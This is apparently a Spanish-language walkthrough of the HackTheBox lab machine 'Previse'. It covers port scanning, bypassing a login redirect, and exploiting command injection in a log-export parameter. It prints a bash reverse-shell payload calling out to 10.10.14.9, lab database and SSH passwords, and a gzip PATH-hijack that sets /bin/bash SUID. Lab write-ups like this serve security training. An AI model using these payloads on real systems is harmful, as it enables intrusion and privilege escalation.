Inicio Previse Writeup
Entrada
Cancelar

Previse Writeup

Vengo a traer una máquina especial para mi, ya que fue la primera con la cual comencé en HackTheBox, bastante entretenida y muy buena para ir comenzando. Espero les guste la guía:)

Information Ghatering / ScanPorts

  • Comenzamos con la fase de recolección de información haciendo un escaneo por TCP en todos los puertos con nmap
1
$ nmap -p-  -sS -vvv  --min-rate 2000 -n -Pn 10.10.11.104 -oG allPorts 

-p- -> escanearemos todos los rangos de puertos (65535)

-sS -> análisis utilizando TCP SYN Este tipo de escaneo, está basado en la velocidad de escaneo, de ahí la versatilidad que mencionamos anteriormente, ya que permite escanear miles de puertos por segundo en una red que se encuentre de>

-vvv -> verbose para que mediante vayas descubriendo puertos se reporten en la terminal

–min-rate 2000 -> paquetes enviados no mas lentos que 2000 paquetes por segundo, envío de paquetes super rápido

-n -> que no aplique resoluci+on de DNS para que no tarde el escaneo

-Pn -> ni que me detecte el descburimiento de hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap -p- --open -sS --min-rate 2000 -vvv -n -Pn 10.10.11.104 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:41 CST
Initiating SYN Stealth Scan at 11:41
Scanning 10.10.11.104 [65535 ports]
Discovered open port 80/tcp on 10.10.11.104
Discovered open port 22/tcp on 10.10.11.104
Completed SYN Stealth Scan at 11:41, 21.19s elapsed (65535 total ports)
Nmap scan report for 10.10.11.104
Host is up, received user-set (0.070s latency).
Scanned at 2023-03-25 11:41:22 CST for 22s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Directamente pasaré al siguiente escaneo para detectar versiones y servicios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -sCV -p22,80 10.10.11.104 -oN targeted                              
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:46 CST
Nmap scan report for 10.10.11.104
Host is up (0.068s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53ed4440116e8bda698579c081f23a12 (RSA)
|   256 bc5420ac1723bb5020f4e16e620f01b5 (ECDSA)
|_  256 33c189ea5973b1788438a421100c91d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.13 seconds

-sCV -> escaneo lanzando scripts que detecten servicios y versiones

-p -> especeficando los puertos a escanear

-oN y todo nuestro output lo guardamos en una captura formato nmap con el nombre de targeted

No hay mucha información al respecto, sin embargo pasando un pequeño fuzz de directorios con nmap vemos un login.php eso quiere decir que puede haber posibles rutas con extensión php

1
2
3
4
5
6
7
8
9
10
11
$ nmap --script http-enum -p80 10.10.11.104 -oN Scan   
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:48 CST
Nmap scan report for 10.10.11.104
Host is up (0.068s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /login.php: Possible admin folder
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

hay unas posibles rutas interesantes donde encuentra un nav.php al visitar el sitio web nos encontramos con lo siguiente

si le damos en crear cuenta nos manda un redirect a http://10.10.11.104/login.php, eso ya esta algo extraño. mandaré una peticción con curl y vemos que si implementa esa función de create account haciendo una llamada a accounts.php

volveré a enviar otra petición pero ahora con la ruta de accounts.php

y efectivamente si existe la ruta en donde podemos registrarnos pero no nos deja visualizarla , para esto abriré burpsuite

1 - Primero interceptamos la petición donde nos hace el redirect para registrarnos http://10.10.11.104/accounts.php

2 - Daremos click derecho , Después en “Do intercept” y seleccionamos “response to this request” Esta opción nos permitirá interceptar el codigo de respuesta de la petición que enviamos

3 - Le damos en Forward

nos tiene que salir algo así , ahora hasta arriba el codigo de respuesta lo cambiamos a un 200 OK en lugar de 302 Found

4 - Damos otra vez Forward y si nos vamos al sitio web podemos ahora si registrarnos

Zip analysis / Information Disclousure

una vez registrados y logueados con nuestra cuenta, buscando entre las secciones del panel me encontré con una bastante interesante donde podemos descargar un backup.zip

al analizar su contenido vemos un usuario y una contraseña de una base de datos en el archivo logs.php, por ahorita esto no funcionará ya que la base de datos corre en su propio localhost.

viendo los demas archivos php me encontré con uno llamado logs.php y analizando vemos que el archivo logs.php está utilizando una función exec() y ejecuta log_process.py pasando un parámetro POST de $_POST['delim']

recordando el panel de la web hay una opción llamada Log data y nos indica que establece delimitadores en los archivos, esto ya llama un poco la atención ya que en log.php fue donde encontramos el script y checando la url nos establece /file_logs.php viendo los archivos backup del zip nuevamente, observamos que establece logs.php por un petición por post (recordemos que logs.php incluye la función exec)

asi que interceptaré una petición con burpsuite a http://10.10.11.104/file_logs.php

Command Injection

interceptada la petición observamos el buen camino, la data se hace por POST hacia /logs.php eso quiere decir que puedo inyectar comandos en la función exec establecida en “delim”

1
exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");

para confirmar esto me pondré a la escucha con tcpdump por mi interfaz tun0 a la escucha de trazas icmp y me enviaré un ping

y tenemos ejecución remota de comandos:D!!

ahora me enviaré una reverse shell

1
delim=comma; bash -c 'bash -i >%26 /dev/tcp/10.10.14.9/443 0>%261' 

y estamos dentro como www-data

hay que recordar, la parte de los archivos conf.php. su base de datos estaba establecida en su propio localhost. me conectaré como el usuario root con la contraseña mySQL_p@ssw0rd!:)

explorando las bases de datos busqué sobre la db llamada previse sus tablas y en accounts me encuentro con un usuario llamado m4lwhere con un hash

lo copiaré y lo crackearé por fuerza bruta con john (ya lo tenia crackeado asi que solo doy un show para mostrar la password)

en el escaneo de puertos vimos el puerto 22 abierto, asi que ingresaré por ssh con el usuario m4lwhere y la contraseña ilovecody112235! y obtener nuestra primera flag:)<3

Privilege Escalation

primeramente listé los permisos a nivel de sudoers y me encuentro con un script en la ruta /opt/scripts/access_backup.sh

1
2
3
4
5
6
7
8
9
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

Vemos que simplemente está comprimiendo algunos registros, pero no hay una ruta al ejecutable gzip, por lo que podemos crear nuestro propio archivo gzip.

asi que haŕe lo siguiente

1
2
3
4
5
6
m4lwhere@previse:~$ echo "chmod u+s /bin/bash" > gzip
m4lwhere@previse:~$ chmod 777 gzip 
m4lwhere@previse:~$ export PATH=$(pwd):$PATH
m4lwhere@previse:~$ echo $PATH
/home/m4lwhere:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
  1. Creo un zip con permisos SUID a la bash

  2. otorgo todos los permisos

  3. configuré la variable de entorno $PATH para mi directorio actual para que configuré la fecha del script ya que toma el valor de la ruta actual

  4. ejecuto el archivo creado

  5. tenemos permisos SUID a la bash:) y otra máquin completada !!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.